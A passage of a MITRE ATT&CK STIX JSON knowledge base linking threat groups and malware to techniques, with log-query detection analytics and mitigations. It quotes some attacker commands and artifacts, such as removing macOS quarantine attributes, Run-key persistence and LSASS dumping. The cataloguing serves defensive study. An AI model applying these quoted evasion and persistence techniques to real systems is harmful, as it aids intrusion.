"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e713d92b-4545-4123-8dab-4c35e27d77c1", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Elastic COM Hijacking", "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.", "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:18:34.261Z", "description": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated.\n\nAnalytic 1 - Component Object Model Hijacking\n\n<code> source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode IN (12, 13, 14) TargetObject= \"*\\Software\\Classes\\CLSID\\*\"</code>\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e7169b87-569a-4433-b7f5-f4cdfb43d8fa", "type": "relationship", "created": "2021-06-22T14:28:38.408Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-22T14:28:38.408Z", "description": "[FYAnti](https://attack.mitre.org/software/S0628) has used ConfuserEx to pack its .NET module.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--434ba392-ebdc-488b-b1ef-518deea65774", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e7187197-205f-496f-b41c-34d57c52a997", "created": "2022-09-29T20:10:02.778Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T20:10:02.778Z", "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used WMI to load [Cobalt Strike](https://attack.mitre.org/software/S0154) onto additional hosts within a compromised network.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15", "type": "relationship", "created": "2017-05-31T21:33:27.039Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "source_name": "ESET Sednit Part 2"}, {"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download"}, {"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-08-31T16:59:47.130Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) regularly deploys both publicly available (ex: [Mimikatz](https://attack.mitre.org/software/S0002)) and custom password retrieval tools on victims.(Citation: ESET Sednit Part 2)(Citation: DOJ GRU Indictment Jul 2018) They have also dumped the LSASS process memory using the MiniDump function.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e725bb68-9fe3-4c43-8ef5-57d57b40b066", "type": "relationship", "created": "2019-01-31T01:07:58.800Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2019-07-17T13:11:38.953Z", "description": "(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e7339f46-a3f5-47c8-9850-313797cd6fb2", "type": "relationship", "created": "2020-10-02T16:56:49.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-02T16:56:49.838Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f", "target_ref": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e733d4b5-0881-4de8-9461-58ca239b7c82", "type": "relationship", "created": "2021-03-02T13:57:47.561Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Amnesty Intl. Ocean Lotus February 2021", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}], "modified": "2021-09-24T20:24:27.314Z", "description": "[Kerrdown](https://attack.mitre.org/software/S0585) has gained execution through victims opening malicious links.(Citation: Amnesty Intl. Ocean Lotus February 2021)", "relationship_type": "uses", "source_ref": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e735944e-9387-4cfb-bf2c-0a1c27d93bce", "created": "2020-12-02T14:13:22.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro MacOS Backdoor November 2020", "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.", "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html"}, {"source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-16T21:23:45.587Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses the command <code>xattr -d com.apple.quarantine</code> to remove the quarantine file attribute used by Gatekeeper.(Citation: Trend Micro MacOS Backdoor November 2020)(Citation: 20 macOS Common Tools and Techniques)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e73bf2f8-b009-4555-8fda-3407fa87c812", "type": "relationship", "created": "2020-08-11T13:13:12.311Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-03-16T12:54:41.391Z", "description": "Limit permissions to discover cloud accounts in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e73d4586-569d-4f32-9468-95777d65770a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}], "modified": "2020-03-20T01:55:35.161Z", "description": "[Mosquito](https://attack.mitre.org/software/S0256) establishes persistence under the Registry key <code>HKCU\\Software\\Run auto_update</code>.(Citation: ESET Turla Mosquito Jan 2018)", "relationship_type": "uses", "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e73da29b-075c-4c77-a3e4-16953d51582b", "created": "2022-03-25T16:21:29.464Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute <code>netstat -ano</code> on a compromised host.(Citation: NTT Security Flagpro new December 2021)", "modified": "2022-04-13T20:24:20.132Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e73e1a22-4923-404b-b2f2-5131f8f24e64", "type": "relationship", "created": "2020-08-05T15:09:37.746Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intel 471 REvil March 2020", "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. 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Azure Run Command for Dummies. Retrieved March 13, 2023.", "url": "https://www.mandiant.com/resources/blog/azure-run-command-dummies"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T21:07:12.435Z", "description": "Monitor commands and scripts executed on virtual machines. In Azure, usage of Azure RunCommand can be identified via the Azure Activity Logs, and additional details on the result of  executed jobs are available in the `C:\\Packages\\Plugins\\Microsoft.CPlat.Core.RunCommandWindows` directory on Windows virtual machines.(Citation: Mandiant Azure Run Command 2021)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e73efb12-ee40-4896-8df6-c0c8b6cb0c92", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html", "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", "source_name": "FireEye FELIXROOT July 2018"}, {"source_name": "ESET GreyEnergy Oct 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}], "modified": "2020-03-20T17:15:24.054Z", "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) executes batch scripts on the victim\u2019s machine, and can launch a reverse shell for command execution.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e7431ae7-4c26-4043-97d0-31835828ba73", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:32:24.954Z", "description": "Monitor for changes made to command history files, such as ConsoleHost_history.txt, ~/.zsh_history, or ~/.bash_history, for unexpected modifications to contents, access permissions, and attributes.\n\nAnalytic 1 : Modification of access rights to command history files\n\n<code> (source=\"*WinEventLog:Security\" EventCode IN (4663, 4670) AND Path=\"*ConsoleHost_history.txt*\" AND ObjectType=\"File\")\n\t AND (UserAccessList=\"*1539*\" OR UserAccessList=\"*WRITE_DAC*\") OR (ObjectNewSd=\"*;FA*\" OR ObjectNewSd=\"*;FW*\" OR ObjectNewSd=\"*;BU*\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e7465950-100a-4ed3-ad90-02c0dc5edd08", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Monitor executed commands and arguments for actions that may gather the system time and/or time zone from a local or remote system.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e7477fbb-361f-4502-99d4-75576d6d3ac7", "type": "relationship", "created": "2020-11-19T17:07:09.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR SLOTHFULMEDIA October 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}], "modified": "2020-12-16T16:12:01.517Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has taken a screenshot of a victim's desktop, named it \"Filter3.jpg\", and stored it in the local directory.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e74cdd3d-4ac7-42c5-a7ac-e2f58371fc5b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", "source_name": "PTSecurity Cobalt Group Aug 2017"}, {"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf", "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", "source_name": "PTSecurity Cobalt Dec 2016"}, {"url": "https://www.group-ib.com/blog/cobalt", "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", "source_name": "Group IB Cobalt Aug 2017"}], "modified": "2020-03-19T19:46:47.773Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used the Ammyy Admin tool as well as TeamViewer for remote access, including to preserve remote access if a Cobalt Strike module was lost.(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e752cfb4-7865-4590-b355-eb1f1b851c5e", "type": "relationship", "created": "2019-08-30T19:53:25.226Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", "source_name": "FireEye admin@338"}], "modified": "2020-03-12T00:26:06.835Z", "description": "[admin@338](https://attack.mitre.org/groups/G0018) has attempted to get victims to launch malicious Microsoft Word attachments delivered via spearphishing emails.(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e7550495-1f2c-4987-abdf-a48ec93d43da", "type": "relationship", "created": "2021-09-21T15:45:10.180Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-10-18T13:19:48.348Z", "description": "[Turian](https://attack.mitre.org/software/S0647) can disguise as a legitimate service to blend into normal operations.(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", "source_ref": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e75a0e7b-869f-4149-8b48-8bb1b9cb62ab", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor for executed commands and arguments that may attempt to find local system groups and permission settings.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e75c948b-7ce8-4872-a3c4-4a2b01828418", "created": "2023-07-27T20:43:29.738Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}, {"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.", "url": "https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T18:38:18.960Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has utilized `WMI` to execute commands and move laterally on compromised Windows machines.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e75cec16-55e4-471d-ab89-52edf5a7799e", "type": "relationship", "created": "2020-11-08T23:29:51.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-08T23:29:51.078Z", "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can send a file containing victim system information to C2.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e75ded50-50cc-46fe-b83b-2de8e5f7d7a6", "created": "2021-10-01T01:57:31.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cado Security TeamTNT Worm August 2020", "description": "Cado Security. (2020, August 16). Team TNT \u2013 The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.", "url": "https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/"}, {"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}, {"source_name": "Trend Micro TeamTNT", "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}, {"source_name": "Intezer TeamTNT September 2020", "description": "Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. 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(2020, August 13). CactusPete APT group\u2019s updated Bisonal backdoor. Retrieved May 5, 2021."}], "modified": "2021-10-17T16:05:27.078Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268) can check the system time set on the infected host.(Citation: Kaspersky CactusPete Aug 2020)", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e769177d-17b8-443b-b939-206d724fbb40", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 DarkHydrus July 2018", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}], "modified": "2019-04-24T23:55:43.375Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) has a command named 